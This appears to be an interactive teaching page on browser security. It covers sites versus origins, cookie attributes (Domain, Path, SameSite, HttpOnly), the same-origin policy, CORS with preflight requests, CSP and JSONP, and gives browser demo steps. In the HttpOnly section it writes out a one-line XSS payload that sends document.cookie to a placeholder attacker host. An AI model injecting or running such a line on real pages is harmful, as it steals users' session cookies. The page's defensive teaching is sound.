In sub.main.org , sub is the subdomain of main.org
℧
In main.org, main is a subdomain of the org TLD (top level domain)
Site
➤Site is determined by the registrable domain of the host within the Origin
➤
Defined by Public Suffix list
➤Subdomains of the same site are considered the same site
➤Protocol and Port are not relevant
Examples of Same Site
℧
https://dev.main.org/en-US/docs/
https://about.main.org/en-US/
The registrable domain here is main.org
℧
www.web.dev
static.web.dev
The registrable domain here is web.dev
℧
http://example.com:8080
https://example.com
The registrable domain here is example.com
Examples of Different Site
℧
https://main.org
https://cool.com
There is no common registrable domain here
Origin
➤
Resource defined by 3 components of the URL:
Scheme (protocol)
Host (domain)
Port
➤https://example.com:8080/about
➤
Two resources have the same origin if all 3 components match.
Examples of Same Origin
℧
http://example.com/app1
http://example.com/app2
http://example.com:80
http://example.com
Protocol, Host, and Port are the same for all above URLs
Examples of Different Origin
℧
http://example.com/app1
https://example.com/app2
Protocols are different
℧
http://example.com
http://www.example.com
http://myapp.example.com
Hosts are different
℧
http://example.com
http://www.example.com:8080
Ports are different
Cookie Access Behavior
➤Cookies work on the concept of Sites and domains, NOT Origins
➤Cookies do NOT obey the SOP (Same Origin Policy), they were created before SOP
Domain, HostOnly, Path attributes define the scope of a cookie
Domain attribute
➤
Define which hosts are allowed to receive cookie
➤
If unspecified, default to same origin that set the cookie, excluding subdomains (sets HostOnly attribute to true)
➤
If specified, subdomains are ALWAYS included (sets HostOnly attribute to False)
Examples
℧
If cookie set by main.org has Domain unspecfied, cookie CANNOT be accessed by sub.main.org subdomain (HostOnly will be set to true)
℧
If cookie set by main.org has Domain=main.org, cookie can be accessed by sub.main.org subdomain (HostOnly will be set to false)
Path attribute
➤
Indicates a URL path that must exist in the requested URL in order to send the Cookie
➤Never rely on it, set to root "/"
Examples
℧
If Path=/docs, cookie will be sent on:
/docs
/docs/about
/docs/about/what
Cookies can only be accessed by equal or more specific domains
Examples
℧
sub.main.org cookies CANNOT be accessed by main.org domain because main.org is less specific
℧
If main.org cookies have Domain=main.org, sub.main.org can access them because sub.main.org is more specific
℧
If main.org cookies have Domain unspecified, sub.main.org subdomain CANNOT access them and will only be available to main.org domain
All accessible cookies by a URL will be sent on every request to a URL
Examples
If you have 5 cookies for main.org and you navigate to main.org, you will send those 5 cookies in the request. If you then click on a link to go to main.org/about, you will send those 5 cookiesagain. If you then click on a link to go to main.org/shopping, you will send those 5 cookiesagain.
SameSite attribute
➤
Lets servers require that a cookie NOT be sent with cross-site requests
➤
Remember a Site only cares about the domains (http://example.com:8080 and https://example.com are considered the same Site)
➟
Follow this link from the same website and see that the cookie is NOT sent in the header
➟
In the new tab you just opened, go to the URL bar and hit enter to see that the cookie IS now sent in a first party context (navigating within the same domain)
℧
If SameSite=Strict and picture is being requested on another site, cookie is NOT sent
Picture of dog below:
➟
Open up the Network Tab, refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie is NOT sent in the headers for this request.
℧
If SameSite=Lax and user following a link from another site/email, cookie IS sent
➟
Follow this link from the same website and see that cookie IS sent in the header
℧
If SameSite=Lax and picture is being requested on another site, cookie is NOT sent
➟
Open up the Network Tab,refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie is NOT sent in the headers for this request.
℧
If SameSite=None and picture is being requested on another site, cookie IS sent
➟
Open up the Network tab, refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie IS sent in the headers for this request.
Examples of CSRF prevented by Samesite
℧
Attacker includes image on forum that is really a request to your bank's server
➟
Follow this link to verify the HttpOnly cookie was set
➟
Follow this link to view the cookies that are available through JavaScript. Note the HttpOnly cookie is NOT present
Example of XSS prevented by HTTPOnly
℧
Malicious code loaded that makes request to attacker's server with the cookie (obtained through JavaScript) as query
(new Image()).src = 'http://www.evil-domain.com/steal-cookie?cookie=' + document.cookie;
SOP (Same Origin Policy) and CORS (Cross-Origin Resource Sharing)
SOP behavior
➤
Security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin
➤fetch API built obeying SOP
➤
Network request is ALWAYS sent, what is being determined if the response can be READ
Sites CAN:
➤Link to other sites
➤Embed resources form other sites
➤Submit forms to other sites
Sites CANNOT:
➤Modify content from other sites
➤Read data from other sites (meaning put into variable and do something with it)
Cross-Origin embedded resources allowed
➤JavaScript with script src='...'
➤CSS with link rel='stylesheet' href='...'
➤img tags
➤iframes
Ways to relax SOP (non-CORS)
document.domain
➤Bad Idea
➤
Attacker can set same domain as target domain
Encode data in URL fragment identifiers '#'
➤Parent can navigate child iframes without following links or refreshing page
➤Child can poll for changes to fragment identifier
postMessage API
➤
send strings and data cross-origin
➤Sender must specify origin which is permitted to receive message
➤Receiver must specify origin which is permitted to send message
CORS behavior
➤Relaxes SOP
➤
Uses additional HTTP headers to tell browsers to give web app running at one origin access to selected resources from another origin
➤Credentials such as Cookies are by default NOT sent (specific flag has to be set)
Simple Requests
➤
Use one of the following methods in the request:
GET
HEAD
POST
➤
Allowed Content-Type header
application/x-www-form-urlencoded
multipart/form-data
text/plain
➤
Limited custom HTTP headers
➤
Server response needs to send back Access-Control-Allow-Origin header that allows requesting domain to use
Examples of CORS
℧
Server not configured with CORS by default
➟
Click the button below to send a fetch request some JSON data from the same origin
➟
You will see a bunch of JSON data displayed above from the same origin resource
➟
Click the button below to send a fetch request for some JSON data from a different origin without CORS enabled
➟
Open up the console and you will see errors related to SOP and the absence of the Access-Control-Allow-Origin header
℧
Server configured with CORS available to all domains
➟
Click the button below to send a fetch request for some JSON data from a different origin with CORS enabled
➟
You will see a bunch of JSON data now appear above. If you open up the Network tab and check the response headers, you will see the Access-Control-Allow-Origin flag set to '*'
℧
Server configured with resource restricted specific domains
➟
Click the button below to send a fetch request for some JSON data from a different origin with CORS restricted to certain domains
➟
Open up the console and you will see errors because the resource is restricted to certain origins
CORS Preflight Requests
➤
Happens if a non-simple method is used for a request
➤
An HTTP request using OPTIONS method is first sent to other domain to determine if real request is safe to send
➤
2 other request headers sent along with OPTIONS request:
Access-Control-Request-Method
Access-Control-Request-Headers
➤Server response includes the following headers:
Access-Control-Allow-Origin
Access-Control-Allow-Methods
Access-Control-Allow-Headers
Access-Control-Max-Age
Example
℧
Preflight Request because of non-simple Content-Type
➟
Click the button below to send a fetch request that requires preflight (uses Content-Type text/json)
➟
Open up the Network tab and view the requests for getJSONCORS. You should see an OPTIONS request followed by a GET request since we were using a non-simple Content-Type.
➟
In the preflight request, notice the following headers:
Access-Control-Allow-Origin
Access-Control-Request-Method
Access-Control-Request-Headers
➟
In the preflight response, notice the following headers:
Access-Control-Allow-Origin
Access-Control-Allow-Methods
Access-Control-Allow-Header
➟
In the actual GET response, notice the Access-Control-Allow-Origin header
CSP (Content Security Policy)
➤Server response header that limits our site from making requests to other sites
➤meta tag can also be used to configure a policy
➤
Added XSS security layer
Examples
℧
Page with No CSP configured
➟
Follow this link for a page that shows an embedded image with no CSP configured
℧
Page with CSP configured
➟
Follow this link for a page with CSP implemented as a meta tag, restricting loading of resources to its own origin only. Check the console for CSP related messages
JSONP
➤
If make request to server that is configured to handle JSONP, can pass a special parameter to tell the server about your page so that the server can send back a response your page can handle
➤fetch API and axios package do NOT support JSONP requests